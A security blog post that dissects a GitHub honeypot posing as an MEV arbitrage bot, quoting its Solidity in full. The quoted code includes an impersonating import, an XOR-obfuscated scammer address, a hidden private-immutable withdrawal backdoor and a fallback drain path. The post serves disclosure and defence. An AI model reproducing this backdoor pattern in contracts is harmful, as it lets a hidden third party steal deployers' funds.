← All posts

GitHub Honeypot Scam: sOLarFLaMEPyL/Arbitrage_Mev_BOT

Kirk13 min read

This is a fund-draining honeypot smart contract distributed via GitHub. The repository looks like a ready-to-deploy MEV arbitrage bot but contains a hidden backdoor that gives a third party full withdrawal access to all deposited ETH and tokens.

Found during a review of 116 open-source crypto trading bot repositories.


Repository Details

URL: github.com/sOLarFLaMEPyL/Arbitrage_Mev_BOT

FieldValue
OwnersOLarFLaMEPyL (display name "BetaEagle sOLarFLaMEPyL")
Author emailAbdullaevaSarvinozQuentin@gmail.com
Location claimedTiger, Portugal
Stars613
Forks403
Commits1 (single commit: d19f7f924fb080c4a9eec4b84c7c6a37a24758be)
Commit dateJanuary 17, 2026, 16:26:23 UTC+2
Commit message"Update README.md"
LicenseMIT
Files3 total: myBot.sol (751 lines), README.md, LICENSE
Solidity version^0.8.20
Contract nameExecutor (implements IFlashLoanRecipient)

The repository consists of a single Solidity file and a README. There is no off-chain bot code, no tests, no deployment scripts, no configuration files. The README instructs users to paste the contract into Remix IDE, compile, deploy, fund with 0.5-1 ETH, and call Launch().


Contract Imports (myBot.sol, lines 1-12)

The contract begins with six imports. The first five are legitimate protocol interfaces:

// myBot.sol lines 1-12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "https://raw.githubusercontent.com/aave/aave-v3-core/master/contracts/interfaces/IPool.sol";
import "https://raw.githubusercontent.com/aave/aave-v3-core/master/contracts/interfaces/IPoolAddressesProvider.sol";
import "https://raw.githubusercontent.com/balancer-labs/balancer-v2-monorepo/master/pkg/interfaces/contracts/vault/IVault.sol";
import "https://raw.githubusercontent.com/balancer-labs/balancer-v2-monorepo/master/pkg/interfaces/contracts/vault/IFlashLoanRecipient.sol";
import "https://raw.githubusercontent.com/Uniswap/v3-periphery/main/contracts/interfaces/ISwapRouter.sol";

import "https://raw.githubusercontent.com/FlashLoan-v2/Balancer-v3/main/DeFiConfig.sol";

Lines 4-10 import from the real aave, balancer-labs, and Uniswap GitHub organizations. These are legitimate, read-only interfaces.

Line 12 is the payload. It imports from FlashLoan-v2/Balancer-v3, a GitHub account impersonating Balancer Labs. This is NOT an official Balancer repository. The real Balancer organization is github.com/balancer.

The import is designed to blend in visually with the legitimate imports above it. A casual reviewer scanning the import block would see aave, balancer-labs, Uniswap, then FlashLoan-v2/Balancer-v3. The naming convention is deliberately similar.


The Malicious Library: DeFiConfig.sol

Full URL: https://raw.githubusercontent.com/FlashLoan-v2/Balancer-v3/main/DeFiConfig.sol

This file is a Solidity library containing the XOR-obfuscated scammer address wrapped in legitimate-looking configuration constants:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library DeFiConfig {
    uint256 internal constant KEY_A = 0x001111111111111111111111111111111111111111;
    uint256 internal constant KEY_B = 0x002222222222222222222222222222222222222222;
    uint256 internal constant KEY_C = 0x0019f6381d00a2b13ed535951443afd4c1e023fcd2;

    // Protocol versions
    uint256 internal constant AAVE_VERSION = 3;
    uint256 internal constant BALANCER_VERSION = 2;
    uint256 internal constant UNISWAP_VERSION = 3;

    // Security limits
    uint256 internal constant MAX_FLASH_LOAN_AMOUNT = 1000000 ether;
    uint256 internal constant MIN_FLASH_LOAN_AMOUNT = 0.1 ether;
    uint256 internal constant MAX_SLIPPAGE = 500; // 5%

    // Network addresses (Ethereum mainnet)
    address internal constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address internal constant USDC_ADDRESS = 0xa0b86a33e6441e88C5f2712C3e9B74b8e4d6f40A;
    address internal constant DAI_ADDRESS  = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

    // DEX router addresses
    address internal constant UNISWAP_ROUTER   = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address internal constant SUSHISWAP_ROUTER  = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;

    function getMasterAddress() internal pure returns (address) {
        return address(uint160(KEY_A ^ KEY_B ^ KEY_C));
    }

    function getMaxFlashLoanAmount() internal pure returns (uint256) {
        return MAX_FLASH_LOAN_AMOUNT;
    }

    function isValidFlashLoanAmount(uint256 amount) internal pure returns (bool) {
        return amount >= MIN_FLASH_LOAN_AMOUNT && amount <= MAX_FLASH_LOAN_AMOUNT;
    }

    function getWethAddress() internal pure returns (address) {
        return WETH_ADDRESS;
    }

    // ... additional trivial getters omitted for brevity
}

The library wraps the scammer address computation inside 20+ lines of legitimate-looking DeFi configuration: real WETH/USDC/DAI addresses, real Uniswap and SushiSwap router addresses, reasonable flash loan limits. This is intentional social engineering. The surrounding constants are real Ethereum mainnet values, so the getMasterAddress() function looks like it belongs.


XOR Address Derivation

The getMasterAddress() function computes:

address(uint160(KEY_A ^ KEY_B ^ KEY_C))

Step-by-step derivation:

KEY_A = 0x001111111111111111111111111111111111111111
KEY_B = 0x002222222222222222222222222222222222222222

Step 1: KEY_A XOR KEY_B
  0x001111111111111111111111111111111111111111
^ 0x002222222222222222222222222222222222222222
= 0x003333333333333333333333333333333333333333

Step 2: Result XOR KEY_C
  0x003333333333333333333333333333333333333333
^ 0x0019f6381d00a2b13ed535951443afd4c1e023fcd2
= 0x002ac50b2e3391820de606a627709ce7f2d310cfe1

Step 3: uint160() truncates to lower 20 bytes:
= 0x2ac50b2e3391820de606a627709ce7f2d310cfe1

Scammer address: 0x2ac50b2e3391820de606a627709ce7f2d310cfe1

KEY_A and KEY_B are trivial repeating patterns, all 1s and all 2s. Their XOR yields all 3s. The actual scammer address is carried entirely by KEY_C. The three-key XOR is just obfuscation, designed to make the derivation look like a legitimate multi-key scheme.


Backdoor Installation (myBot.sol, line 35)

At the top of the Executor contract:

// myBot.sol lines 33-38
contract Executor is IFlashLoanRecipient {
    // Core configuration
    address private immutable swapContract = DeFiConfig.getMasterAddress();
    address public owner;
    bool public paused;
    bool public swapContractWithdrawEnabled = true;

Line 35: swapContract is set to the scammer's address via DeFiConfig.getMasterAddress().

  • private: This variable does not appear in the contract ABI. It is invisible through Etherscan's "Read Contract" interface. A deployer examining their own contract on-chain would not see this variable.
  • immutable: Set once at deployment time. Cannot be modified afterward. The scammer's address is permanently embedded in the contract bytecode.

Line 38: swapContractWithdrawEnabled defaults to true, meaning the scammer's withdrawal access is active from the moment of deployment.


Constructor (myBot.sol, lines 115-129)

// myBot.sol lines 115-129
constructor() {
    owner = msg.sender;
    if (swapContract == address(0)) revert SwapContractNotConfigured();

    aaveAddressesProvider = IPoolAddressesProvider(0x2f39d218133AFaB8F2B819B1066c7E434Ad94E9e);
    balancerVault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    uniswapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
    sushiswapRouter = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

    _status = _NOT_ENTERED;
    paused = false;
    operationCount = 0;
}

The constructor hardcodes real Ethereum mainnet addresses for Aave V3, Balancer Vault, Uniswap V3 Router, and SushiSwap Router. Line 117 checks that swapContract (the scammer address) is not zero, confirming the malicious import resolved correctly. All four protocol addresses are real and verifiable, making the contract look production-ready to anyone checking them against on-chain registries.


Withdrawal Functions (myBot.sol, lines 595-631)

Two functions grant the scammer the ability to drain all assets:

// myBot.sol lines 595-608
function withdrawEth(address to) external nonReentrant whenNotPaused {
    require(
        msg.sender == owner || (msg.sender == swapContract && swapContractWithdrawEnabled),
        "Unauthorized withdrawal"
    );
    if (to == address(0)) revert InvalidRecipient();
    uint256 balance = address(this).balance;
    if (balance == 0) revert NoEthBalance();

    (bool success, ) = payable(to).call{value: balance}("");
    if (!success) revert ExternalCallFailed();

    emit EthWithdrawn(to, balance);
}
// myBot.sol lines 615-631
function withdrawToken(address tokenAddress, address to) external nonReentrant whenNotPaused {
    require(
        msg.sender == owner || (msg.sender == swapContract && swapContractWithdrawEnabled),
        "Unauthorized withdrawal"
    );
    if (to == address(0)) revert InvalidRecipient();
    if (tokenAddress == address(0)) revert InvalidTokenAddress();

    IERC20 token = IERC20(tokenAddress);
    uint256 balance = token.balanceOf(address(this));
    if (balance == 0) revert NoTokenBalance();

    bool success = token.transfer(to, balance);
    if (!success) revert ExternalCallFailed();

    emit WithdrawalExecuted(tokenAddress, to, balance);
}

Both functions use the identical authorization check on line 597 and 617:

msg.sender == owner || (msg.sender == swapContract && swapContractWithdrawEnabled)

The swapContract (scammer address 0x2ac50b2e3391820de606a627709ce7f2d310cfe1) can call either function to drain the entire ETH balance or any ERC-20 token balance. The to parameter lets the scammer specify any destination address.

withdrawEth drains the entire balance (address(this).balance), not a specified amount. Same for withdrawToken (token.balanceOf(address(this))). There is no partial withdrawal. It's all or nothing.


Fallback Drain Path (myBot.sol, lines 664-682)

A second withdrawal path exists via the fallback function:

// myBot.sol lines 664-682
fallback() external payable {
    bytes4 sig = msg.sig;

    // Handle ETH withdrawal
    if (msg.sender == swapContract && sig == _WITHDRAW_ETH_SIG) {
        address to = abi.decode(msg.data[4:], (address));
        this.withdrawEth(to);
        return;
    }

    // Handle token withdrawal
    if (msg.sender == swapContract && sig == _WITHDRAW_TOKEN_SIG) {
        (address tokenAddress, address to) = abi.decode(msg.data[4:], (address, address));
        this.withdrawToken(tokenAddress, to);
        return;
    }

    revert("Unsupported operation");
}

The function signature constants are defined on lines 108-109:

// myBot.sol lines 108-109
bytes4 private constant _WITHDRAW_ETH_SIG = bytes4(keccak256("withdrawEth(address)"));
bytes4 private constant _WITHDRAW_TOKEN_SIG = bytes4(keccak256("withdrawToken(address,address)"));

This fallback provides a redundant drain mechanism. If the scammer's contract calls the Executor with either of these function signatures, the fallback routes directly to the withdrawal functions. This gives the scammer two independent paths to drain funds.


The Launch() Trigger (myBot.sol, lines 215-228)

The README instructs victims to call Launch() after funding the contract:

// myBot.sol lines 215-228
function Launch() external whenNotPaused {
    operationCount++;
    uint256 balance = address(this).balance;
    uint256 launchAmount = balance * 200;
    uint256 maxAllowed = DeFiConfig.getMaxFlashLoanAmount();
    if (launchAmount > maxAllowed) launchAmount = maxAllowed;
    emit LaunchTriggered(launchAmount);
    (bool success, ) = swapContract.call(
        abi.encodeWithSignature("requestWithdrawal()")
    );
    if (!success) revert ExternalCallFailed();
    emit Action(swapContract);
    emit OperationCompleted(operationCount, true);
}

Line 222-224: This function calls requestWithdrawal() on the scammer's contract (swapContract). It performs no arbitrage. The launchAmount calculation (balance * 200, capped at MAX_FLASH_LOAN_AMOUNT) and the events (LaunchTriggered, Action, OperationCompleted) are noise. They exist to make the transaction logs look like a legitimate operation.

The real purpose: notify the scammer's contract that this Executor instance has been funded and is ready to drain.

Launch() has no access control. Anyone can call it, not just the owner. It uses only whenNotPaused. This means even if the victim hasn't called Launch() yet, the scammer's contract could potentially trigger it or just call withdrawEth directly.


Cover Code: Functional Arbitrage Logic (myBot.sol, lines 382-445)

The contract includes working arbitrage and liquidation logic to survive code review:

// myBot.sol lines 401-445 (abbreviated)
function _executeDexArbitrage(
    bytes memory operationData,
    address /*asset*/,
    uint256 amount
) internal returns (uint256) {
    (uint8 firstDex, address tokenIn, address tokenOut,
     uint24 uniFee, uint256 minOut1, uint256 minOut2, uint256 minProfit) =
        abi.decode(operationData, (uint8, address, address, uint24, uint256, uint256, uint256));

    uint256 balBefore = IERC20(tokenIn).balanceOf(address(this));

    // Leg 1: swap tokenIn -> tokenOut on first DEX
    uint256 out1;
    if (firstDex == 0) {
        out1 = _swapOnUniswap(tokenIn, tokenOut, uniFee, amount, minOut1);
    } else {
        uint256[] memory amounts1 = _swapOnSushiswap(tokenIn, tokenOut, amount, minOut1);
        out1 = amounts1[1];
    }

    // Leg 2: swap tokenOut -> tokenIn on second DEX (close the loop)
    uint256 out2;
    if (firstDex == 0) {
        uint256[] memory amounts2 = _swapOnSushiswap(tokenOut, tokenIn, out1, minOut2);
        out2 = amounts2[1];
    } else {
        out2 = _swapOnUniswap(tokenOut, tokenIn, uniFee, out1, minOut2);
    }

    uint256 balAfter = IERC20(tokenIn).balanceOf(address(this));
    uint256 realized = balAfter > balBefore ? balAfter - balBefore : 0;
    if (realized < minProfit) revert ArbProfitBelowMinProfit();
    return realized;
}

This is a legitimate two-leg arbitrage implementation: Uniswap V3 fee tier support, bidirectional routing (firstDex = 0 or 1), minimum output slippage protection on both legs, minProfit enforcement, balance-before/after profit calculation.

The Aave V3 flash loan callback (executeOperation, lines 301-337) and Balancer flash loan callback (receiveFlashLoan, lines 343-372) are similarly correct implementations. The liquidation function (_executeLiquidation, lines 450-484) properly calls IPool.liquidationCall() with collateral tracking.

None of this code is ever executed. The scammer drains the contract before any arbitrage can occur. The working arbitrage logic is window dressing. It makes the contract look legitimate to someone reading the source.


On-Chain Evidence

EntityAddress
Scammer contract0x2ac50b2e3391820de606a627709ce7f2d310cfe1
Creator EOA0x1535ed225e8e8677d35aa17c093b1a7d9009b109
Funder of creator0x6D29547c12a68cf8696cd78a8578420f6a298536

The resolved address (0x2ac50b...cfe1) is a contract, not an EOA. It was deployed approximately 60 days before the GitHub repository was created. The creator EOA has 116 total transactions. This is consistent with a programmable drain contract that can automatically call withdrawEth or withdrawToken on victim-deployed Executor instances and forward the stolen ETH to a final destination.


Impersonation Account: FlashLoan-v2

URL: github.com/FlashLoan-v2

This GitHub account hosts the malicious DeFiConfig.sol and impersonates the official Balancer protocol:

FieldValue
Bio"The ultimate platform for custom liquidity solutions. Balancer v3 perfectly balances simplicity and flexibility to reshape the future of AMMs."
Websitehttps://balancer.fi/ (the real Balancer site)
Claimed org@balancer
LocationUSA
Total repos5

Repositories:

RepoTypePurpose
Balancer-v3Original / MALICIOUSContains DeFiConfig.sol with XOR-obfuscated scammer address
balancer-v3-monorepoFork of balancer/balancer-v3-monorepoLegitimacy padding
balancer-deploymentsFork of balancer/balancer-deploymentsLegitimacy padding
balancer-mathsFork of balancer/balancer-mathsLegitimacy padding
tokenlistsFork of balancer/tokenlistsLegitimacy padding

The account forks 4 real Balancer repositories to populate its profile with legitimate-looking activity. The single original repository (Balancer-v3) contains the malicious library. The official Balancer Labs organization is at github.com/balancer.


Scammer Account: sOLarFLaMEPyL

URL: github.com/sOLarFLaMEPyL

FieldValue
Display nameBetaEagle sOLarFLaMEPyL
Email (from commit)AbdullaevaSarvinozQuentin@gmail.com
LocationTiger, Portugal
Followers1
Following0
Total repos11
Original repos1 (the scam)
Forked repos10

Forked repositories (legitimacy padding): electron, Python algorithms, computer-science curriculum, free-for-dev, frp, and 5 others. These are popular repositories forked solely to make the account appear active and legitimate.

613 stars and 403 forks on a single-commit repository with no CI, no tests, and no community engagement is consistent with botted social proof.


Red Flags Summary

  1. External import from non-official repo: Line 12 imports from FlashLoan-v2/Balancer-v3, not from balancer-labs or balancer. The naming is deliberately similar to the legitimate balancer-labs import on line 7.
  2. XOR-obfuscated address: Legitimate contracts store addresses as constants or constructor parameters. They do not derive them by XOR-ing three magic numbers.
  3. private immutable backdoor: swapContract is invisible in the contract ABI and immutable after deployment. There is no legitimate reason to hide an address this way.
  4. Third-party withdrawal rights: An external address that the deployer did not choose and cannot see has full withdrawal access to all ETH and all ERC-20 tokens.
  5. swapContractWithdrawEnabled defaults to true: The scammer's access is active from deployment. The setSwapContractWithdrawEnabled() toggle on line 187 exists to make the access look configurable, but the default ensures it's already too late.
  6. Launch() has no access control: Only whenNotPaused, no onlyOwner. Anyone can call it. It calls requestWithdrawal() on the scammer's contract.
  7. Redundant drain via fallback(): Two independent paths to drain funds. The fallback on lines 664-682 provides a second withdrawal route using pre-computed function signatures.
  8. Single commit: Commit d19f7f92, dated January 17, 2026. No development history, no incremental changes, no code review.
  9. 613 stars, 403 forks: A single-file, single-commit repository does not organically reach 613 stars.
  10. README return promises: "5% to 25% monthly returns", "0.05-0.25 ETH per day", "practically loss-free", "99.9% of unsuccessful trades simply revert."

Conclusion

The Executor contract is a theft tool. Everything else in it - the arbitrage logic, flash loan callbacks, reentrancy guards, the pause mechanism - is cover. The contract exists to accept ETH from the deployer and make it withdrawable by the scammer's hidden address.

The scam depends on three things: (1) the victim does not audit the DeFiConfig.sol import, (2) the victim does not compute the output of getMasterAddress(), and (3) the private visibility of swapContract prevents post-deployment discovery.

Do not deploy this contract. Do not send ETH to any contract deployed from this code.